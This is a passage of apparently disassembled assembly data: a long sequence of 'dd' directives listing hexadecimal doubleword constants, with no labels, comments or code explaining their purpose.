52F373CCh dd 0ED38C8F9h, 0DE20805Ch, 8829D194h, 6C19033Ch, 4A663A71h dd 0A039C830h, 0AD711h, 5B9E6AD2h, 89504878h, 2B00E9E6h dd 0CE3BDEE2h, 0C0013213h, 6CA8B150h, 0F03F2181h, 7ADE0055h dd 0CDACA8Dh, 0A623042Fh, 0D4E0E3ADh, 2ABC80B0h, 0F800DB1Eh dd 0DC74FFC8h, 0E4BB4C27h, 64370043h, 7C0E496h, 0FC2C7DB6h dd 0A000D7E9h, 0EAACA72Dh, 0AF98F9h, 57467369h, 5A91A2A3h dd 531D3301h, 4B0848FAh, 986840CEh, 50A10059h, 7DF7610Dh dd 3E241E25h, 0E17303Ch, 82A38306h, 0BAFA38h, 1AA7EE0Ch dd 0D109C55Eh, 0A88B0A00h, 8545FDEh, 7D0C240Fh, 0B72A0037h dd 15766D18h, 60914213h, 5E7FE0AEh, 0D91A2F00h, 16A4D6FAh dd 4F1B1888h, 0DA71E9DFh, 0ABA67607h, 42002655h, 246458h dd 953129A4h, 98D2ECAh, 4B825C00h, 2B1B3996h, 8A70006Bh dd 0E84C9E34h, 0D00780BAh, 61D75083h, 0EC155D61h, 0B8AC1CE0h dd 0B708005Ch, 6519425Eh, 5901C5AAh, 0AE0BB5C7h, 0B44045D7h dd 3F392161h, 0D8056B1h, 76CAD2B6h, 51002467h, 9EF66B52h dd 0FE02F2E4h, 0A0BA70h, 8D03A1F4h, 6D10841Fh, 0CC76E9F4h dd 0EE1BFF02h, 683178C0h, 9DF138h, 0C1363A46h, 61081FB0h dd 8EDA1B04h, 30802905h, 7FEC27BAh, 1E93F292h, 80D32FCEh dd 5DC1F790h, 8116032Ch, 0E8039D95h, 0C896B6A8h, 295F63h dd 2DB454E4h, 6BE2D7FBh, 0EA193512h, 0E9379400h, 0DAA6C0h dd 0F2F1D981h, 4D9D20FFh, 9A83E300h, 0BE36A2BCh, 0C72809CDh dd 10808CEDh, 0F2D4217Ch, 1092AC30h, 1D8F2Bh, 0DDAD6506h dd 2035AEFDh, 6F9EC900h, 0C1A4F58Eh, 0AC020032h, 51AD16DCh dd 0F7FE3C01h, 0D2A83000h, 21CB93CDh, 709879h, 9FEEE9FDh dd 0ACA3E4DAh, 0E340C006h, 2849F644h, 7FD4F842h, 869001F0h dd 0B0FB9DF4h, 887034EFh, 85D3DC0Ah, 3008CDBh, 1B9D3CC3h dd 0BA790A7Ch, 83A84F6Bh, 93A9FD04h, 49DCE9C0h, 3E039700h dd 0BFAC8F17h, 0FAA70124h, 15769C4h, 0C6DD2021h, 0A2393C0Ch dd 54BA9DCh, 0C2987FD0h, 0D6F84E86h, 0EEC3F900h, 0AD0FB4A0h dd 0A6625BFEh, 918FB3h, 0DC769122h, 0A043CC8Bh, 9803AD00h dd 0B996B4E9h, 652C166Ah, 0B06010D9h, 81F4C610h, 0B744286Bh dd 0C4C332DCh, 0A419D418h, 0AA07DDE0h, 9E576086h, 0A507A3AEh dd 0BFE80512h, 82322543h, 76402B64h, 4601DF44h, 0DDA812E4h dd 8092973Fh, 42A805C0h, 0D190403Eh, 0DF898DCBh, 0A013EBECh dd 0FBF8Ah, 4560C1EAh, 1099C031h, 70191CD1h, 40EEAF11h dd 0B290C754h, 48DF7C24h, 90006992h, 4C0DDABBh, 0D44339E7h dd 42800838h, 5A391297h, 9D01F090h, 44CB5824h, 0A0602103h dd 98660062h, 0E505C3FAh, 0FC3ECE67h, 589902C1h, 0E0857273h dd 317620h, 0F8FA4D2Dh, 2C634C49h, 102F0A00h, 90BBF70Fh dd 0D3DD2ECAh, 68530081h, 0C8354A45h, 0C985DCFBh, 71E90403h dd 0E2CB5A87h, 6038C802h, 0E32838B8h, 27BBD30Bh, 1CEAC280h dd 0F600C853h, 9D89984Bh, 739286Ch, 78DA9C6Eh, 99CA9085h dd 0E5002A24h, 0D8A38C6h, 501D97Dh, 7ACCE13h, 8E9000A7h dd 0E7E881D0h, 170FDC00h, 64ECDE73h, 242CF66Eh, 8000A00Bh dd 41933907h, 5000A3A1h, 0BA34D87Eh, 3D53C3EEh, 0B8C8EBA5h dd 4C13D4B0h, 0DF0093E6h, 0F3D89154h, 2B0DB5h, 0EC8B09ACh dd 80D4FA72h, 8CF8E600h, 0E314C123h, 0EBA418C4h, 0FACEA081h dd 8313449Ah, 3C017EDEh, 3A1341B5h, 3AB97824h, 0BA422E0h dd 0C3358144h, 9C5FDABFh, 0F08C1B41h, 0C0F5C972h, 49F69A68h dd 0E860FA67h, 0E5372819h, 349F0EDBh, 5C207761h, 1345D86Bh dd 0FB034001h, 0F2E896D4h, 60068AFFh, 127CAE6Ah, 427DCBE4h dd 94C20CACh, 7C92E444h, 8A94800h, 528759Bh, 1B0927Ch dd 2FC1A1ECh, 45765D60h, 7F5000F4h, 91620E96h, 93A3E83Fh dd 28479BF4h, 8037A7Bh, 93E690D4h, 0CF71CDh, 0D954D10Bh dd 0DA7E24ECh, 1A8DB4Ch, 52FA617Ah, 0C6C9E1EDh, 60AADE42h dd 7F7BBF0h, 0B054F3Fh, 0B7928726h, 0F802F2A6h, 0D7F9F0E0h dd 94BFCE40h, 47F18F30h, 0CCF000F7h, 1070C0C9h, 7910F560h dd 5CBC4Ch, 2E19D012h, 0C30186A4h, 666DB00h, 25ED7416h dd 0C8D33077h, 0E92DA530h, 5154B804h, 9F81B72Bh, 44243191h dd 20926Bh, 7AB85A93h dd 2FA15DC6h, 5563B70Eh, 0DCD640CEh, 7377114Eh, 782602B9h dd 9F61F4Bh, 0A240C3FFh, 7CEB40D2h, 0C48B28E5h, 0CC2F69Ch dd 0C86D9A61h, 3F00C110h, 2C30779Ch, 71F704h, 0DF1E4A23h dd 0F3DD9312h, 0AC292D14h, 0CFCA00A4h, 0BC1902DCh, 6794184Ah dd 0B88BC876h, 2A48967Bh, 9973BE4h, 8044C2D7h, 73A82844h dd 1BF50120h, 0CCF61D6Eh, 75D23087h, 0A2989005h, 948050FEh dd 3B3D4E83h, 3E7F515Eh, 0A60FDE58h, 0B61E49Dh, 40A90DFDh dd 0D102D98Ch, 0EA98210Ah, 9900CCB3h, 0FFDB1746h, 934E3ECEh dd 0F7BDB500h, 41D24FBEh, 69C8AA00h, 0E58EF32Bh, 5240009Eh dd 94A944FDh, 500AF69Ch, 97720ECAh, 0E6971703h, 26A188B9h dd 0BC534D27h, 882FD80Eh, 86EB4600h, 5C00A08Bh, 0EFFB8C79h dd 0AB3F5Dh, 0F201FCB1h, 0E48DD0BAh, 62E8DB00h, 54EC22C4h dd 0BF0F04B6h, 0C2D13445h, 93E0B3A0h, 0D40724C0h, 866F914Fh dd 52EEF960h, 1AF70FB4h, 0CF82CC5Bh, 0AC800EDAh, 0ABFDE967h dd 0E727D903h, 0E9D558C9h, 0B4473485h, 2BCC849h, 0C0E50294h dd 6AF9B05h, 0B68F6048h, 36898300h, 318D01E8h, 8A750F99h dd 0B0209794h, 919EBEF5h, 47008F76h, 5DC207E1h, 1251237Fh dd 0E2850A0h, 8CA017A6h, 5A54A612h, 3500D6FAh, 0BFE59367h dd 3CA81608h, 0C7245F2Dh, 0B0A50018h, 39D557F8h, 72410901h dd 12E028C0h, 46B8AE8h, 9BBFE82Dh, 0B822C22Eh, 0CD1985E0h dd 66C0F700h, 962FF71h, 99E81F33h, 581100FDh, 48B57F4Fh dd 0A3BEE00h, 12BB897Dh, 5E921E7Ah, 709700C0h, 0D35573CDh dd 52179407h, 0D243570Ch, 0DA22F036h, 0E3E61D04h, 9194C39Fh dd 0B48030C7h, 6D3BA0D4h, 2011831Dh, 0F022DD89h, 0C9EA71h dd 0B63C4096h, 4A926DB7h, 117AB5F6h, 4106A00h, 7C431FFCh dd 72CD001Ah, 5C61DC64h, 1B00DE44h, 0CA4136B6h, 9C2DB5h dd 23855B67h, 4B30E41Eh, 0C43AB900h, 0BD44CE2Eh, 86B51DD4h dd 0BA61401Bh, 1FC929C7h, 0B7255305h, 97011EECh, 0CAEFF18Ah dd 0CFF0C6F5h, 0A2DF002Fh, 8F5B4DD6h, 320394AFh, 2BBFB645h dd 0BE30E08Ah, 679E00C5h, 11D7BC90h, 0F8F0F343h, 0CE8AA400h dd 39DAC1AAh, 0CF420769h, 82D309F2h, 7560FEA6h, 431699A8h dd 5512A531h, 0CAD44300h, 374E82Ah, 0E046A17Fh, 44006B0Ch dd 3FE909E7h, 308C4DCBh, 6228C2E4h, 5438BB5Dh, 0DFEC80C4h dd 9DE3B13Bh, 0D9FC0036h, 89DAB721h, 200A352h, 489683F5h dd 0C48042h, 0FE162EDEh, 5529104Dh, 5888680Ah, 3D00B0B0h dd 93E28C6Ch, 90A00AF7h, 0C8C9E1h, 0E78D6A4Ch, 781C2294h dd 4E80FF96h, 18F4021Ch, 9AEB00D6h, 1E53A7B2h, 6286BCEh dd 1A60D2F3h, 1752F7E0h, 48710C5Ch, 0A380F59Bh, 639FB00h dd 47F6E778h, 0BCCB3911h, 90098A00h, 95EF4038h, 43BB281Ch dd 75104842h, 5D04627Fh, 5DA632E0h, 5A8EF700h, 0E5688061h dd 0FF3038CCh, 0B1951380h, 15C6701Ch, 0F00C4D28h, 67CFED00h dd 40AA3C11h, 2ADD01BCh, 0F59E31A0h, 0A1DAD815h, 0BB62CB00h dd 4CE26C6h, 0F4141FFDh, 0FFC50F23h, 1A403282h, 0A3D160D5h dd 4CFB3F81h, 0B808EB9h, 1D6B0DF6h, 8A0F6A93h, 40B135F9h dd 0DC1B1E19h, 0BC0F009Ah, 0C1F4CE10h, 3528987Eh, 0A907B873h dd 0B982AA01h, 0CA8B62A0h, 5D2B00C7h, 3E752150h, 6A030AEDh dd 0B15F9D9Ah, 0F845CBFAh, 0F79DA56h, 5A66B2F8h, 0BA0C09E0h dd 0AD006A3Ah, 8ECEC59Bh, 69CF48F2h, 0B500683Dh, 0BF31EF67h dd 0F460B528h, 38F6E1F8h, 0F010081Dh, 0F1912B86h, 0DFEF1E18h dd 59040C19h, 18F0E711h, 20F5A500h, 435362ADh, 0F0380A0Ch dd 9E28C7BCh, 3E0A9C27h, 0B87BE1Ch, 0E06E0D0h, 972649FEh dd 4A002D19h, 48C58BC0h, 0D2673C11h, 0A2F25B0Ah, 7B510358h dd 8818ED87h, 4208E90Fh, 0BF3215EFh, 123238B2h, 0AA0068C0h dd 7547966Fh, 199E2470h, 840B00A9h, 3B2A3D33h, 8BA37400h dd 0EA2F067Bh, 2D860059h, 3C5818B4h, 0B6483D0Dh, 0EB1860E0h dd 3AA956h, 0C342D640h, 6B303E9h, 20CF6733h, 6839BAD4h dd 0CC44248h, 6DF456A2h, 2B0FEE30h, 213523A5h, 6B586665h dd 6B01883h, 407C1A90h, 0FB70B3Ch, 157F96Dh, 55DB1EE1h dd 0E0803D00h, 4984C854h, 6AFA04Ch, 62AA3B30h, 0DBB933F9h dd 89C6B421h, 69B6B018h, 0C80D251h, 0D183D642h, 361E66D1h dd 3E8E4E5Ch, 41D28CA3h, 31BD028Eh, 8AB9CCD8h, 3AF30068h dd 632ED0Ch, 3E70104Bh, 0FE04D5ADh, 8326C8E3h, 60408C00h dd 5CE2DC60h, 48D0EC00h, 2C6C452Dh, 0C1FF00FCh, 0DD8D3C13h dd 0A538DBF8h, 58100042h, 8E0CEE5Ch, 0C8B800A1h, 0CFC42377h dd 0F70336E8h, 0B3EBFEF0h, 0AA680304h, 0D04C183Dh, 0E2FCB100h dd 0C14AC5B4h, 5B601967h, 87BF08F9h, 0B4EA9521h, 7F55E8E1h dd 1670D180h, 0E2415F3Fh, 5BBF0700h, 766C0690h, 88EA0AD9h dd 0B00D66h, 2D46EB0Ah, 530C63A7h, 186F42A8h, 0B6E310C8h dd 822A5111h, 1E80E168h, 0DE10820Ah, 83D0080Ch, 1EB8F364h dd 701B20A6h, 2359D2B2h, 0E40142D0h, 0F14ADFB4h, 9B88F718h dd 6B400ECh, 4E872D34h, 7A149E5Fh, 14C0C038h, 4F0E9C7h dd 0ABEADBCEh, 48C88h, 0EF107EBDh, 0E7871957h, 1B088F66h dd 852D0021h, 6F276D7Eh, 99009334h, 0C705BCD5h, 0DF2DB81h dd 103C4E7Dh, 0A7688858h, 1BE900CBh, 5B977751h, 0F9A85A00h dd 10BFB182h, 0AF6C0047h, 58BAD26Fh, 0ADE8269Fh, 6E842200h dd 57FE4409h, 0FCDA0031h, 16E96D19h, 3A00A4A2h, 15220ACFh dd 0BEC0ACh, 6C28C582h, 79342E3Eh, 971DD900h, 0FAF3C1C2h dd 0A9B73F56h, 65F72280h, 3833A070h, 87383CF0h, 0A1DE9C6Dh dd 455F5600h, 7F1DB64Ch, 39CB398Dh, 376FCE07h, 2C59A034h dd 7D0F5885h, 0A0FB2ACDh, 1488F0F6h, 0B93F0013h, 3BE9EAE3h dd 6481563h, 1D2201F0h, 9BC8774Dh, 32749DCh, 0FE7BBBA8h dd 0B9F062F7h, 8F7CCC5Eh, 75381800h, 2265F584h, 0CE5D00BCh dd 0F90F1589h, 1D00694Dh, 0B230507h, 58CFB0F5h, 5200ACE7h dd 0B2670E1Ch, 590E46DAh, 0A0C52515h, 326FC6C4h, 0DB530E71h dd 0FEC1E88Eh, 0D8752B83h, 0A7708107h, 0DC120F00h, 0D6F70A0Dh dd 0CE6048FBh, 0A127E700h, 483FDE33h, 76AFD10Eh, 31A420B5h dd 7539AD0h, 0BB4E4FE4h, 5800FE28h, 0DA5254BCh, 0D7B11700h dd 9DE2B883h, 0C39C00D9h, 782B427Eh, 0CB006112h, 6C7BCEADh dd 5160AB5h, 407A3041h, 9CBA003Ah, 0B13FD8DEh, 0A1C55C00h dd 0F1C2C2Fh, 0FA7800D4h, 0CA29ACCDh, 3607A0F9h, 85A56E2Bh dd 31638A80h, 0F667004Fh, 0B2BB82DEh, 0C50B9C28h, 0FD21B3h dd 3E0BA4E9h, 8B000A8h, 0DBC19D11h, 0E90F341Fh, 0C1AF49FEh dd 0B0B528C4h, 0C9CF2880h, 0BBC0452Bh, 23F7C700h, 6548999Eh dd 5D910002h, 3E0A9033h, 37F27612h, 80D8E43Eh, 0F63C213Dh dd 14676EF2h, 0F4A94DD4h, 0C64A4900h, 309B6301h, 0D6C01850h dd 0EB4B701Ch, 0D0A732C0h, 722A0E93h, 0CB1C00B1h, 0AF58F7E6h dd 0D8EA749Eh, 9604103h, 0F8796E3Ch, 3D6FF1h, 4F1C6736h dd 1DFABFCh, 0C8520800h, 0B0A63F8Ah, 4641001Fh, 0CC544D0Ch dd 0D500FC9Dh, 17195D9Fh, 6888C55h, 5BB62AA6h, 0DF179023h dd 2E184547h, 7642D8h, 877EE0Eh, 0F7ECB67Dh, 0FAE8400h dd 9DCF1972h, 0FE0600BBh, 0A718DBBAh, 0EA00E033h, 0AFD74992h dd 6CA087h, 0A178BCB2h, 0A908F87Dh, 48143C92h, 60A38612h dd 9B78168h, 0A8ED0F7Eh dd 6FCC7B06h, 0BA03D738h, 73A637D1h, 0CACECAh, 289DDF27h dd 0F9520179h, 68B5620Bh, 2FFC00CCh, 280EFC3Ch, 22ECF08Ch dd 8B60041Bh, 0DF290AC1h, 0C1AA264Ch, 0DBA30016h, 102F1FCAh dd 45818400h, 0EAFBAF3Fh, 380B00DCh, 0FCA36340h, 0B00069E7h dd 12B57131h, 4837BC48h, 0B90B30F7h, 6C43A241h, 0D0681000h dd 0F08F4E13h, 8DA7032Eh, 0B9F72B08h, 0F93BD8D8h, 6683C102h dd 49BDA8D4h, 4CC18B0Ch, 8C4B70h, 0E6AB8A93h, 0A00B715Eh dd 2E00687Ch, 4C4B3BD9h, 0C217D17h, 5473886Ch, 1D7A1570h dd 0C601A700h, 457A3774h, 38ACA8C9h, 6241354h, 1F0B02F4h dd 88A07503h, 0F08A7DA3h, 0AE58FB00h, 77117B97h, 1B300E5h dd 80137FF1h, 7D00F8EFh, 0CBD320A5h, 813AB0h, 328F08F6h dd 33E67BB2h, 0CC00B5E8h, 0A2EA6E71h, 9A92A6h, 36494F02h dd 5DBA9799h, 87A1EB00h, 2276B5CDh, 0EF620050h, 4E8A58D9h dd 9000B627h, 1C6ADCF6h, 54A7B2Dh, 6034E872h, 0FA96C404h dd 9014C9E0h, 0C45E0057h, 688A2AAEh, 0AA0030D7h, 0F87C0797h dd 8440A9h, 0AF480493h, 0C8A1D57Bh, 15000CF8h, 0A9B57752h dd 77FB8ACDh, 980A484Bh, 973FC607h, 277460D5h, 0A3005D25h dd 0FD7AC37Eh, 0A7BE99h, 0E68B9EAh, 397D5747h, 5BE60400h dd 0CCFCB5F2h, 0E4F84CA6h, 0A4C9B601h, 0D4B42EE7h, 0EE304235h dd 0CC79903Eh, 0A1D78049h, 8793D528h, 51C0D4Dh, 0BC712D2Eh dd 7953D820h, 371B006Ah, 0FCD6AE57h, 0CB3C7740h, 169480ACh dd 0FAF2BD28h, 0E5E904ECh, 0C00D0BB7h, 5918ED54h, 0E0F46D00h dd 0E8E7BE89h, 0D3190021h, 0ED768C46h, 0F8603A3Ch, 17AAFE88h dd 513710Bh, 51FC836Bh, 100480EBh, 0DEEDD7A5h, 8E9FF340h dd 7C7B4000h, 0B7DF66DAh, 8BCC00A8h, 6A210B16h, 60B8F236h dd 0EE9D7414h, 707100FCh, 21E0B46Dh, 7CA8A02Ch, 0A2B80B11h dd 0D8C68A3h, 0D1009929h, 48C8F938h, 6A663h, 9722B476h dd 1EEAC784h, 44E0D600h, 0FE5D772Dh, 7D6A3E30h, 0CD10FD80h dd 0AC9DA59Fh, 0D990600h, 0EA6F6849h, 6DB11C58h, 0C3F6C028h dd 43B5673Ch, 929EBE00h, 6A494C4Eh, 7F911DCDh, 53D6A5h dd 97D1AE56h, 0F500ADDFh, 8625247Bh, 0A07044BAh, 784A90h dd 0ADCFB421h, 1A685AFEh, 1FCCD700h, 0DE508F6Fh, 2EEB005Eh dd 5B18B288h, 1B00061Eh, 42200EF3h, 7F3DD460h, 919A0059h dd 7ED9CDD0h, 0F900AAE7h, 0F4CF2535h, 3E5024C9h, 0E707061h dd 0FE7DE3FBh, 7EFD405Fh, 4ADDDE78h, 74EE4Ch, 71C45ADFh dd 187033A6h, 31112529h, 0B61CF68Fh, 0FF80C11Ah, 0CCD3C5EAh dd 23040077h, 0E8DC0B63h, 863FE591h, 55F880B7h, 653F9AB4h dd 0F5D7010Dh, 0C3F73A48h, 15542401h, 0E67738h, 8EF93C4Ah dd 39A5E94h, 3D7F8728h, 90BFD2DAh, 32A69074h, 0C2FC1300h dd 0EFD79CD6h, 374B006Dh, 16EA0E0Fh, 0C47DB32Eh, 0FA51F004h dd 4090754Ch, 3F7749CAh, 1F18058Dh, 29130887h, 7BB0111Eh dd 0F4001D1Fh, 762E7512h, 46D101EAh, 2C742842h, 7BC8E04Eh dd 4064774Dh, 0CAF85614h, 0A57BB03h, 0A18E3521h, 0F9E393F0h dd 0FD30A809h, 0F2E00B15h, 0BCA1741Eh, 0F1BA3449h, 0C2389FF6h dd 0DC8030B4h, 0A93FFA56h, 7D007658h, 271D1F9Bh, 259CB941h dd 4F925900h, 31A37F0h, 74B253E4h, 7ED04E4Bh, 0EC008CDBh dd 92C94DA0h, 0F443F8D7h, 34F8CBh, 0DAB1FDBCh, 0E1CA548Eh dd 8ACC3Ch, 3AA3A186h, 0EEF77Bh, 8DB8B973h, 24AFD30Bh dd 914A2630h, 18B49D69h, 0F0E3F099h, 8CAFBC8h, 0FE1EA064h dd 15B4E540h, 39E92E4Ch, 7602795Bh, 93E149A8h, 2FDEF490h dd 87197500h, 7F779BC5h, 609C7435h, 27CC2103h, 3C757475h dd 0BF0002FEh, 681589E3h, 1D7132F2h, 80B255EBh, 9792C88Bh dd 11F8B60Bh, 7318D262h, 0C0C463A1h, 5704389h, 5C1923F6h dd 7BDC4A76h, 0DA465C48h, 0B641300h, 0F0F3ABA3h, 0DC692218h dd 683B7870h, 76988844h, 0AD076D46h, 1E100F16h, 75F90180h dd 1530224Eh, 3B5260E8h, 6B44290h, 9F885B78h, 6FF20010h dd 0D37FA8Ch, 0B900E421h, 9B9CE6CCh, 0D0BB89h, 8161E288h dd 0BD66337h, 0E4621200h, 4076EA4Fh, 69AC005Ah, 0F3256A95h dd 9974D505h, 0B0005575h, 0A842A2DBh, 0EE3B8E4h, 439B5B59h dd 0D4194A8Ch, 360262EAh, 0B3D64D18h, 5627BFh, 968927D9h dd 9B351400h, 307ED682h, 411A006Dh, 0AA46F7Fh, 4F00E256h dd 0ADA2D503h, 0C46DDF0h, 88F430F8h, 0B531BD48h, 0EEA2681Ah dd 7A64A30h, 25AB0FA3h, 947709Dh, 3001A85Bh, 0FF96C398h dd 9071F891h, 0A04D7FF0h, 0E32190Ch, 0E3BB6AF3h, 0A85585C0h dd 0EB00AF6Eh, 0D5B2C292h, 14DD1215h, 0B8BA1E3Dh, 19D41D00h dd 0F1AD5AA4h, 890CECE6h, 0F99C2E2Bh, 0ED970093h, 0DDE1A223h dd 0F607C541h, 68EED1B4h, 0A5865010h, 0F0D800F4h, 0D2123E3Ah dd 58003DA7h, 5A3480D1h, 0C169ED8Eh, 0A820C228h, 3800D38Dh dd 0B2924912h, 0E941BEh, 0DF08DB7Bh, 0C5733F71h, 0CDA7D007h dd 0A1001662h, 7812E8Fh, 0B7D302C2h, 50583649h, 8BD06B11h dd 62E08F0Ch, 0D17D0269h, 18F12707h, 5780CE08h, 3C9B5EEAh dd 0FE180B3Fh, 0C93B1052h, 4ADEF500h, 0A34385BBh, 18809862h dd 598CA877h, 2E0066FDh, 4E81362Ch, 0AFA251h, 1205EC08h dd 88628EE9h, 159C900h, 6481BBA0h, 18DE03FAh, 4F7FCA36h dd 629F901Dh, 0FC8A1340h, 3B08DA04h, 849F4228h, 0CB340C4h dd 0EEE6097Fh, 26986E60h, 70EB86BFh, 9F1A1DD2h, 0F25247B3h dd 0BDEF60AFh, 1B622D03h, 20567A19h, 0C05D2C3Fh, 1559040h dd 3A51B994h, 0D3DB3C3Bh, 2BF71000h, 556A994Eh, 0A321C75Eh dd 0AB0AA090h, 0DDFE66D5h, 52252300h, 6CD6C538h, 467D73h dd 4D5D9669h, 0B74ACC55h, 0FCF16326h, 0D75B280Eh, 298F4AFAh dd 0B7E700FCh, 3127A624h, 0B2008F78h, 14F12863h, 0CACBB8h dd 0C0995AF2h, 0A079193h, 2B006A7Fh, 5BD4B1BCh, 10D7F4Ah dd 0B4C9978Ah, 0C120159Eh, 512CFF07h, 0CF00D89Ch, 82884F2Fh dd 0A3A650A0h, 2319386Ah, 1A22A0Ch, 0D03C8C50h, 0CAFA0F07h dd 6DA60028h, 0C15077E0h, 266E0252h, 0DF19812Bh, 9430DEDAh dd 3BB8ACCh, 0FB1A12EFh, 8B98E00Fh, 2E0065BDh, 20168F3Dh dd 702D9BAh, 1AAE19E9h, 7618732Bh, 6DC9C08Dh, 7E12BCC1h dd 430C8E11h, 0E632B9A5h, 0FB480FECh, 4C107B5h, 0C0F3AABAh dd 0FA06BC6Ah, 0D5A610B3h, 26311860h, 0C6A33981h, 5F03ED00h dd 566E36B0h, 57DA4h, 7D9AF6D2h, 0DDEA305Bh, 879B333Dh dd 7215168Ch, 44829960h, 65D0067h, 0E4462158h, 0AC00FE09h dd 0B2CF4ADCh, 0AD5530h, 0F94954A7h, 3E5CB65Dh, 75A81305h dd 403B1EBh, 0ECDC17h, 0FDD59D10h, 0DB331116h, 0C428C500h dd 3150091Ah, 5E7B8BFh, 0EC724B81h, 0EF140862h, 22539542h dd 8C22FE7Fh, 22B324F8h, 83031078h, 3DCED80h, 7D77A050h dd 0CCA862A1h, 0FC008D1Ch, 44A50BDFh, 36CAB95h, 30E5A74Fh dd 48B85405h, 4B0082F3h, 0C0F929FDh, 0E527A37h, 17D81840h dd 0F5DA0F52h, 0FF39ADC0h, 0C538151Eh, 32C30012h, 3AB1C0EEh dd 21B61560h, 0CB008850h, 9CF0709Dh, 0DC00D78Dh, 60C0E93Ch dd 160163h, 0BA1784ADh, 0CEB7D44Fh, 7068B61Eh, 0E9B06782h dd 0A0336366h, 60AAEF2Dh, 5C4511C5h, 0F60FCB1Eh, 40516E84h dd 40CD417Fh, 125900BDh, 0AF3BC0EFh, 8200F4C4h, 3AD76502h dd 85B5DCh, 72463456h dd 4488A90Bh, 718EB800h, 80739186h, 0A0100060h, 4E53946Dh dd 0ABE0AED5h, 0C0AF0400h, 0F49A354Ch, 7A130187h, 0E52D831Dh dd 995C60FFh, 0A54F3E00h, 241473DAh, 0A3CE81Fh, 70E76FD8h dd 0C32684h, 46860B48h, 0F50E1163h, 0A6900D8Eh, 758D516h dd 0CDD43BFFh, 4A4F003h, 0F900624Bh, 27077829h, 90171CDEh dd 162200F7h, 0ED69218Fh, 5CE0A4E6h, 4900A7FAh, 0B53213C6h dd 3C3DF523h, 8F000762h, 2FD07E81h, 1800F64Dh, 0ECEFC30Dh dd 7B917BF2h, 0E3241ECDh, 15C480EAh, 0D439A4ACh, 14BC2500h dd 7D0A2E9Eh, 8B5F1FE2h, 2AFD8075h, 7B26AC63h, 4B9AD700h dd 2668001h, 0DF9602E7h, 0E6D6535Dh, 1DAEFC80h, 300EE010h dd 40A261BFh, 0BCCDD20Ch, 0E513001Ch, 0AC6CD705h, 0A5076608h dd 2D14C7F0h, 0A4BB370h, 0B6E907BCh, 0C004F7A6h, 0D59ADF81h dd 140DB48h, 8DEDE8B5h, 5D30222Bh, 0CCDC0913h, 0E180B425h dd 617A0AE2h, 0DA951107h, 60A05817h, 67DC09Eh, 0C8479A91h dd 0B200508Eh, 0FFA0179Bh, 76EE93CFh, 0A3835811h, 21450B00h dd 0CC72E32h, 0D262E600h, 0C9820835h, 741171CFh, 0C2481437h dd 9B008BA3h, 0E990FBF4h, 0DB17BECAh, 0D11D62B1h, 1AF99EC0h dd 7541DFh, 77871373h, 0ED05C0ECh, 88AD2500h, 3C3091C1h dd 15CD12D6h, 0B0CD00CEh, 856CE0A9h, 0EEEAF100h, 35E48402h dd 55B201CDh, 0B171804Dh, 2350C019h, 80477E3Eh, 0AD6E6C3Ch dd 0E78A859h, 0BB124446h, 64F2CC00h, 0D100FFA3h, 6357E0B0h dd 2905954h, 0AEC76B53h, 5C60BC10h, 0E500713Bh, 0AC3C056h dd 12269023h, 0E6492B5h, 0C941694Ch, 0DFA52280h, 68DCE5D0h dd 913F3500h, 0CA0F5FF9h, 0C2F877h, 0EE1761DDh, 9B5787AFh dd 49FD7F0Fh, 99D741ECh, 0CCA9FA1Dh, 662F006Ch, 0B2ED1D6h dd 7CCB8201h, 0A9971CF7h, 0F4D2B1F0h, 5A2C035Bh, 0CC58DFE6h dd 78E17AE8h, 1FAB7301h, 2E304832h, 1FA1A9D0h, 8041CAEFh dd 6E71D142h, 9D3A4EE1h, 0C72C87D3h, 1BD091A0h, 0F74D953h dd 0F1ECD7A2h, 0AC0FC3BEh, 0C9C044C8h, 7EE60871h, 773FAF38h dd 7443542Eh, 0B0CEBF03h, 3B9DC8D2h, 6C8C0076h, 0D7486195h dd 0D80006A8h, 15927029h, 0BF767DDh, 432D1AA5h, 0CC057ED6h dd 0F981E76Eh, 80C6BBF5h, 0C1933B8h, 0ADB001Dh, 0AE6995B2h dd 0FD4CBADDh, 843000ACh, 6A8AA850h, 2FFC00C5h, 76DFF47h dd 0D7FA433Eh, 0F3005EFAh, 0CF284434h, 503F6717h, 3C15B856h dd 87AE6582h, 0C0B81E23h, 0AFD28A96h, 0FB00338Fh, 32D84299h dd 0F2312D6Eh, 740D382Eh, 401FC696h, 37BD0760h, 9E017F20h dd 6C904544h, 0C030A9BCh, 965E003Ah, 0B1F1D31Ch, 8A0E9ABEh dd 837E1D5Bh, 80FA1487h, 3F91739Ch, 72820C29h, 2A217B2Eh dd 0A11BB540h, 0D951130Fh, 711E20DBh, 9679DCh, 26FCAA21h dd 0F168D745h, 7C3EF700h, 0BC43C998h, 7AF0E6DEh, 65B501FBh dd 9CB17ADFh, 0D436CC90h, 90DF339h, 0AA0AD2h, 81236178h dd 1D100CBh, 44AC7D11h, 205E1BBh, 3973CEBh, 0FC38F800h dd 1ED88C48h, 94B64D5Ah, 0E71FCCB2h, 4FE90F54h, 0FFA1FF67h dd 0E1443980h, 34C16129h, 2F46954Bh, 59FCC9D1h, 5C7907EBh dd 0D0DC7E13h, 5FCFCADEh, 2BC45601h, 4C041042h, 3D79CC40h dd 6160030h, 0BECC0798h, 6A0080E1h, 0C583FA70h, 38D26827h dd 0E3806EBBh, 91875624h, 4E984AEDh, 9F000CE6h, 0FCD94643h dd 0DFE434h, 0F3145737h, 15495E03h, 0CA7DAF0Bh, 122F8D7h dd 0C63E4827h, 70358D79h, 220087E8h, 97469894h, 9C1EF5h dd 0D7A9D44h, 369AFFC0h, 0ABD14100h, 9890EF16h, 217E0054h dd 0C24A1DFEh, 21C0E438h, 0C9EB04A8h, 0BCA3B12h, 5F97DC00h dd 83E4E98Eh, 0CB7F5300h, 1A54339Eh, 18606B3h, 1EBD6F67h dd 1D5CF1F4h, 351C1231h, 17DE3840h, 45074Ch, 0A3ED036Bh dd 0D94314B9h, 124F9400h, 0B3014140h, 0CCC026ADh, 39968344h dd 0DF98C4A2h, 0CA0050CEh, 0F42387C2h, 0E872A9C9h, 79DEC60h dd 36F944CBh, 0C0FA5492h, 0E682FD84h, 0CDE9CF1Eh, 18C802FBh dd 0C01B575Bh, 4C513508h, 99002DFAh, 0C73DB6F4h, 8501E08Ch dd 0BDBF3CA5h, 28721AF7h, 0D911210Bh, 0E6734C02h, 0F42498E0h dd 0D5DF4800h, 0D3C44B06h, 2328000Ch, 0B7031A55h, 4F00EC3Ch dd 761324FFh, 1DF547Eh, 8CD121C4h, 0E4209E34h, 2390B58h dd 0A9F8012h, 0E8F5B36Ch, 0E44900E9h, 5BC10981h, 